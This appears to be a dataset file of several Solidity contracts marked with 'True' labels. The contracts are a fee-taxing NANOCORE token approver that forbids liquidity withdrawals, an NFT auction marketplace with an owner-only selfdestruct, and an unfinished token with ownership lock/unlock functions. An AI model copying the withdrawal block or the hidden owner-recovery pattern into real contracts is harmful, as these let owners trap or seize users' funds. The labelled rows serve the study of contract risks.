function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract FeeApprover is OwnableUpgradeSafe {
using SafeMath for uint256;
function initialize(
address _NANOCOREAddress,
address _WETHAddress,
address _uniswapFactory
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
nanocoreTokenAddress = _NANOCOREAddress;
WETHAddress = _WETHAddress;
tokenUniswapPair = IUniswapV2Factory(_uniswapFactory).getPair(WETHAddress,nanocoreTokenAddress);
feePercentX100 = 15;
paused = false; // We start paused until sync post LGE happens.
}
address tokenUniswapPair;
IUniswapV2Factory public uniswapFactory;
address internal WETHAddress;
address nanocoreTokenAddress;
address nanocoreVaultAddress;
uint8 public feePercentX100; // max 255 = 25.5% artificial clamp
uint256 public lastTotalSupplyOfLPTokens;
bool paused;
// Pausing transfers of the token
function setPaused(bool _pause) public onlyOwner {
paused = _pause;
}
function setFeeMultiplier(uint8 _feeMultiplier) public onlyOwner {
feePercentX100 = _feeMultiplier;
}
function setNanocoreVaultAddress(address _nanocoreVaultAddress) public onlyOwner {
nanocoreVaultAddress = _nanocoreVaultAddress;
}
function sync() public {
uint256 _LPSupplyOfPairTotal = IERC20(tokenUniswapPair).totalSupply();
lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal;
}
function calculateAmountsAfterFee(
address sender,
address recipient, // unusued maybe use din future
uint256 amount
) public returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount)
{
require(paused == false, "FEE APPROVER: Transfers Paused");
uint256 _LPSupplyOfPairTotal = IERC20(tokenUniswapPair).totalSupply();
// console.log("sender is " , sender);
// console.log("recipient is is " , recipient, 'pair is :', tokenUniswapPair);
// console.log("Old LP supply", lastTotalSupplyOfLPTokens);
// console.log("Current LP supply", _LPSupplyOfPairTotal);
if(sender == tokenUniswapPair)
require(lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal, "Liquidity withdrawals forbidden");
// console.log('Sender is pair' , sender == tokenUniswapPair);
// console.log('lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal' , lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal);
if(sender == nanocoreVaultAddress || sender == tokenUniswapPair ) { // Dont have a fee when nanocorevault is sending, or infinite loop
console.log("Sending without fee"); // And when pair is sending ( buys are happening, no tax on it)
transferToFeeDistributorAmount = 0;
transferToAmount = amount;
}
else {
console.log("Normal fee transfer");
transferToFeeDistributorAmount = amount.mul(feePercentX100).div(1000);
transferToAmount = amount.sub(transferToFeeDistributorAmount);
}
lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal;
}
} | True | [
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] |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Interface {
//ERC721
function balanceOf(address owner) public view returns (uint256 _balance);
function ownerOf(uint256 tokenID) public view returns (address owner);
function transfer(address to, uint256 tokenID) public returns (bool);
function approve(address to, uint256 tokenID) public returns (bool);
function takeOwnership(uint256 tokenID) public;
function totalSupply() public view returns (uint);
function owns(address owner, uint256 tokenID) public view returns (bool);
function allowance(address claimant, uint256 tokenID) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenID) public returns (bool);
function createLand(address owner) external returns (uint);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
mapping(address => bool) admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed admin);
event DelAdmin(address indexed admin);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function addAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0));
admins[_adminAddress] = true;
emit AddAdmin(_adminAddress);
}
function delAdmin(address _adminAddress) external onlyOwner {
require(admins[_adminAddress]);
admins[_adminAddress] = false;
emit DelAdmin(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface NewAuctionContract {
function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool);
}
contract ArconaMarketplaceContract is Ownable {
using SafeMath for uint;
ERC20 public arconaToken;
struct Auction {
address owner;
address token;
uint tokenId;
uint startPrice;
uint stopTime;
address winner;
uint executeTime;
uint finalPrice;
bool executed;
bool exists;
}
mapping(address => bool) public acceptedTokens;
mapping(address => bool) public whiteList;
mapping (address => bool) public users;
mapping(uint256 => Auction) public auctions;
//token => token_id = auction id
mapping (address => mapping (uint => uint)) public auctionIndex;
mapping(address => uint256[]) private ownedAuctions;
uint private lastAuctionId;
uint defaultExecuteTime = 24 hours;
uint public auctionFee = 300; //3%
uint public gasInTokens = 1000000000000000000;
uint public minDuration = 1;
uint public maxDuration = 20160;
address public profitAddress;
event ReceiveCreateAuction(address from, uint tokenId, address token);
event AddAcceptedToken(address indexed token);
event DelAcceptedToken(address indexed token);
event AddWhiteList(address indexed addr);
event DelWhiteList(address indexed addr);
event NewAuction(address indexed owner, uint tokenId, uint auctionId);
event AddUser(address indexed user);
event GetToken(uint auctionId, address winner);
event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime);
event CancelAuction(uint auctionId);
event RestartAuction(uint auctionId);
constructor(address _token, address _profitAddress) public {
arconaToken = ERC20(_token);
profitAddress = _profitAddress;
}
function() public payable {
if (!users[msg.sender]) {
users[msg.sender] = true;
emit AddUser(msg.sender);
}
}
function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(_from, _token, _tokenId, _startPrice, _duration);
emit ReceiveCreateAuction(_from, _tokenId, _token);
return true;
}
function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(msg.sender, _token, _tokenId, _startPrice, _duration);
return true;
}
function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) {
require(ERC721Interface(_token).transferFrom(_from, this, _tokenId));
auctions[++lastAuctionId] = Auction({
owner : _from,
token : _token,
tokenId : _tokenId,
startPrice : _startPrice,
//startTime : now,
stopTime : now + (_duration * 1 minutes),
winner : address(0),
executeTime : now + (_duration * 1 minutes) + defaultExecuteTime,
finalPrice : 0,
executed : false,
exists: true
});
auctionIndex[_token][_tokenId] = lastAuctionId;
ownedAuctions[_from].push(lastAuctionId);
emit NewAuction(_from, _tokenId, lastAuctionId);
return lastAuctionId;
}
function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now > auctions[_auctionId].stopTime);
//require(auctions[_auctionId].winner == address(0));
require(_finalPrice >= auctions[_auctionId].startPrice);
auctions[_auctionId].winner = _winner;
auctions[_auctionId].finalPrice = _finalPrice;
if (_executeTime > 0) {
auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes);
}
emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime);
}
function getToken(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now <= auctions[_auctionId].executeTime);
require(msg.sender == auctions[_auctionId].winner);
uint fullPrice = auctions[_auctionId].finalPrice;
require(arconaToken.transferFrom(msg.sender, this, fullPrice));
if (!inWhiteList(auctions[_auctionId].owner)) {
uint fee = valueFromPercent(fullPrice, auctionFee);
fullPrice = fullPrice.sub(fee).sub(gasInTokens);
}
arconaToken.transfer(auctions[_auctionId].owner, fullPrice);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId));
auctions[_auctionId].executed = true;
emit GetToken(_auctionId, msg.sender);
}
function cancelAuction(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId));
emit CancelAuction(_auctionId);
}
function restartAuction(uint _auctionId, uint _startPrice, uint _duration) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
auctions[_auctionId].startPrice = _startPrice;
auctions[_auctionId].stopTime = now + (_duration * 1 minutes);
auctions[_auctionId].executeTime = now + (_duration * 1 minutes) + defaultExecuteTime;
emit RestartAuction(_auctionId);
}
function migrateAuction(uint _auctionId, address _newAuction) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId));
require(NewAuctionContract(_newAuction).receiveAuction(
auctions[_auctionId].token,
auctions[_auctionId].tokenId,
auctions[_auctionId].startPrice,
auctions[_auctionId].stopTime
));
}
function ownerAuctionCount(address _owner) external view returns (uint256) {
return ownedAuctions[_owner].length;
}
function auctionsOf(address _owner) external view returns (uint256[]) {
return ownedAuctions[_owner];
}
function addAcceptedToken(address _token) onlyAdmin external {
require(_token != address(0));
acceptedTokens[_token] = true;
emit AddAcceptedToken(_token);
}
function delAcceptedToken(address _token) onlyAdmin external {
require(acceptedTokens[_token]);
acceptedTokens[_token] = false;
emit DelAcceptedToken(_token);
}
function addWhiteList(address _address) onlyAdmin external {
require(_address != address(0));
whiteList[_address] = true;
emit AddWhiteList(_address);
}
function delWhiteList(address _address) onlyAdmin external {
require(whiteList[_address]);
whiteList[_address] = false;
emit DelWhiteList(_address);
}
function setDefaultExecuteTime(uint _hours) onlyAdmin external {
defaultExecuteTime = _hours * 1 hours;
}
function setAuctionFee(uint _fee) onlyAdmin external {
auctionFee = _fee;
}
function setGasInTokens(uint _gasInTokens) onlyAdmin external {
gasInTokens = _gasInTokens;
}
function setMinDuration(uint _minDuration) onlyAdmin external {
minDuration = _minDuration;
}
function setMaxDuration(uint _maxDuration) onlyAdmin external {
maxDuration = _maxDuration;
}
function setProfitAddress(address _profitAddress) onlyOwner external {
require(_profitAddress != address(0));
profitAddress = _profitAddress;
}
function isAcceptedToken(address _token) public view returns (bool) {
return acceptedTokens[_token];
}
function inWhiteList(address _address) public view returns (bool) {
return whiteList[_address];
}
function withdrawTokens() onlyAdmin public {
require(arconaToken.balanceOf(this) > 0);
arconaToken.transfer(profitAddress, arconaToken.balanceOf(this));
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
function destruct() onlyOwner public {
selfdestruct(owner);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/**
* SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked { require(b <= a, errorMessage); return a - b; }
}
}
library Address {
function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {return functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "Only the previous owner can unlock onwership");
require(block.timestamp > _lockTime , "The contract is still locked");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
abstract contract Manageable is Context {
address private _manager;
event ManagementTransferred(address indexed previousManager, address indexed newManager);
constructor(){
address msgSender = _msgSender();
_manager = msgSender;
emit ManagementTransferred(address(0), msgSender);
}
function manager() public view returns(address){ return _manager; }
modifier onlyManager(){
require(_manager == _msgSender(), "Manageable: caller is not the manager");
_;
}
function transferManagement(address newManager) external virtual onlyManager {
